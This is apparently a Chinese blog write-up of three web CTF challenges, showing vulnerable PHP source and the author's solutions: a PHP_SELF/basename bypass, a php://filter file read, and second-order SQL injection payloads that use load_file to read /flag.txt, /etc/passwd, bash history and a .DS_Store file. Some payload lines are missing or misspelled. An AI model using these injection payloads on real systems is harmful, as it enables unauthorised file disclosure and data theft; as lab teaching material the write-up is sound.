[Zer0pts2020]Can you guess it?
查看源码:
<?php include 'config.php';
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("I don't know what you are thinking, but I won't let you read it :)"); }
if (isset($_GET['source'])) { highlight_file(basename($_SERVER['PHP_SELF'])); exit(); }
$secret = bin2hex(random_bytes(64)); if (isset($_POST['guess'])) { $guess = (string) $_POST['guess']; if (hash_equals($secret, $guess)) { $message = 'Congratulations! The flag is: ' . FLAG; } else { $message = 'Wrong.'; } } ?>
|
代码分为两个部分,先说下面吧,让我们比对一个secret,看了一下,根本不可能爆破跑出来的
所以重点应该在上部分,说flag在config.php当中,并且还用了一个正则匹配waf掉config.php,有那种防止我们直接读取的味道,然后下面getsource中,对于我们传入的php_self也是可以直接显示的,所以猜想关键点是绕过这里
几个点学习一下吧:
1.$_SERVER[‘PHP_SELF’]是什么?
$_SERVER['PHP_SELF'] 表示当前 php 文件相对于网站根目录的位置地址,与 document root 相关。 假设我们有如下网址,$_SERVER[‘PHP_SELF’]得到的结果分别为:
http://www.baicai.link/index/ :/index/index.php http://www.baicai.link/cate/miandan.html :/cate/miandan.html http://www.baicai.link/php/index.php?test=foo :/php/index.php http://www.baicai.link/php/index.php/test/foo :/php/index.php/test/foo
|
所以很明显php_self是我们可控的,接下来看看能否尝试绕过正则匹配
就需要看看basename()有没有什么特性,比如php字符串的规则啥的~
在php手册中,我们发现如果路径包含对当前区域设置无效的字符,则basename()的行为未定义。
所以
接下来我们来构造一下payload:
我们知道phpself获取的是最后一个/后的内容,我们直接输入
是不行的——这样变成我们执行的是config.php的内容
所以应该是
此时执行的index.php,获取的是config.php
接下来是绕过正则匹配
/index.php/config.php/我认为?source=
|
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
查看源码,发现file,可以打开文件,于是想到文件包含,试试伪协议读取文件,发现可以
payload:
?file=php://filter/convert.baase64-encode/resource=index.php
|
<?php
ini_set('open_basedir', '/var/www/html/');
$file = (isset($_GET['file']) ? $_GET['file'] : null); if (isset($file)){ if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) { echo('no way!'); exit; } @include($file); } ?>
|
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"])) { $msg = ''; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i'; $user_name = $_POST["user_name"]; $phone = $_POST["phone"]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!'; }else{ $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'"; $fetch = $db->query($sql); }
if (isset($fetch) && $fetch->num_rows>0){ $row = $fetch->fetch_assoc(); if(!$row) { echo 'error'; print_r($db->error); exit; } $msg = "<p>å§å:".$row['user_name']."</p><p>, çµè¯:".$row['phone']."</p><p>, å°å:".$row['address']."</p>"; } else { $msg = "æªæ¾å°è®¢å!"; } }else { $msg = "ä¿¡æ¯ä¸å
¨"; } ?>
|
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"])) { $msg = ''; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i'; $user_name = $_POST["user_name"]; $address = addslashes($_POST["address"]); $phone = $_POST["phone"]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!'; }else{ $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'"; $fetch = $db->query($sql); }
if (isset($fetch) && $fetch->num_rows>0){ $row = $fetch->fetch_assoc(); $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id']; $result = $db->query($sql); if(!$result) { echo 'error'; print_r($db->error); exit; } $msg = "订åä¿®æ¹æå"; } else { $msg = "æªæ¾å°è®¢å!"; } }else { $msg = "ä¿¡æ¯ä¸å
¨"; } ?>
|
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"])) { $msg = ''; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i'; $user_name = $_POST["user_name"]; $address = $_POST["address"]; $phone = $_POST["phone"]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!'; }else{ $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'"; $fetch = $db->query($sql); }
if($fetch->num_rows>0) { $msg = $user_name."å·²æ交订å"; }else{ $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)"; $re = $db->prepare($sql); $re->bind_param("sss", $user_name, $address, $phone); $re = $re->execute(); if(!$re) { echo 'error'; print_r($db->error); exit; } $msg = "订åæ交æå"; } } else { $msg = "ä¿¡æ¯ä¸å
¨"; } ?>
|
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"])) { $msg = ''; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i'; $user_name = $_POST["user_name"]; $phone = $_POST["phone"]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!'; }else{ $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'"; $fetch = $db->query($sql); }
if (isset($fetch) && $fetch->num_rows>0){ $row = $fetch->fetch_assoc(); $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]); if(!$result) { echo 'error'; print_r($db->error); exit; } $msg = "订åå é¤æå"; } else { $msg = "æªæ¾å°è®¢å!"; } }else { $msg = "ä¿¡æ¯ä¸å
¨"; } ?>
|
审计一下可以发现,本题中没有对address进行过滤,所以需要我们构造语句
真好 phpstorm崩溃了
想到之前sqlilabs刷的二次注入,一开始的change.php中只对address进行了 addslashes处理然后就进行了update处理
所以我的思路是这样的,先存一个address,然后用change插入注入语句,因为插入到表中以后转义的字符时不存在的,取出来也就不存在了,
payload:
1' where `user_id`=extractvalue(1,concat('~',(select load_file('/flag.txt'))))#
|
至于为啥想读文件,因为表里没有–
最后这里看了一下wp,毕竟文件名要猜==
又是一题二次注入
首先是登录
账号是zhangwei 密码是zhagnwei666 后面数字直接爆破就行了
进去以后啥都没有,猜测是存在文件泄露——发现git泄露,扫描一波:
<?php include "mysql.php"; session_start(); if($_SESSION['login'] != 'yes'){ header("Location: ./login.php"); die(); } if(isset($_GET['do'])){ switch ($_GET['do']) { case 'write': $category = addslashes($_POST['category']); $title = addslashes($_POST['title']); $content = addslashes($_POST['content']); $sql = "insert into board set category = '$category', title = '$title', content = '$content'"; $result = mysql_query($sql); header("Location: ./index.php"); break; case 'comment': $bo_id = addslashes($_POST['bo_id']); $sql = "select category from board where id='$bo_id'"; $result = mysql_query($sql); $num = mysql_num_rows($result); if($num>0){ $category = mysql_fetch_array($result)['category']; $content = addslashes($_POST['content']); $sql = "insert into comment set category = '$category', content = '$content', bo_id = '$bo_id'"; $result = mysql_query($sql); } header("Location: ./comment.php?id=$bo_id"); break; default: header("Location: ./index.php"); } } else{ header("Location: ./index.php"); } ?>
|
思路很明确了。我们需要利用category这个参数来传入值
首先我们利用write传值,然后利用comment改值
传入:
2',content=(select database()),/*
|
这里解释一下 我们需要用/**/这个注释符,因为从源码中我们可以看出,他是多行的,所以我们需要选择多行注释符
接下来点击详情 输入
进行闭合 并注释后面的内容
可以看到如下
接下来就是常规注入,但是没有发现flag,这里新学了一种思路
我们查看user()发现是root权限
既然是root权限,那么大概率其实应该是读取文件~
接下来就是寻找的一个过程了,这里学了一下学长的思路~很牛!
我们查看etc/passwd
发现www用户的存在,于是这个时候 我们可以选择继续查看
有时历史记录命令未存储在.bash_history中
bash_history的记录 看看是否有线索:
得到较完整路径,并且看到 .DS_Store 的存在
.DS_Store 是系统自动生成的一个隐藏的文件,存贮目录的自定义属性
所以我们可以看看其中的信息
目标环境是docker,所以 .DS_Store 文件应该在 /tmp 中。而 .DS_Store 文件中,经常会有一些不可键字符,所以我们可以使用hex函数对其内容进行转换,payload为:
',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
|
找到flag,最终payload
',content=(select (load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
|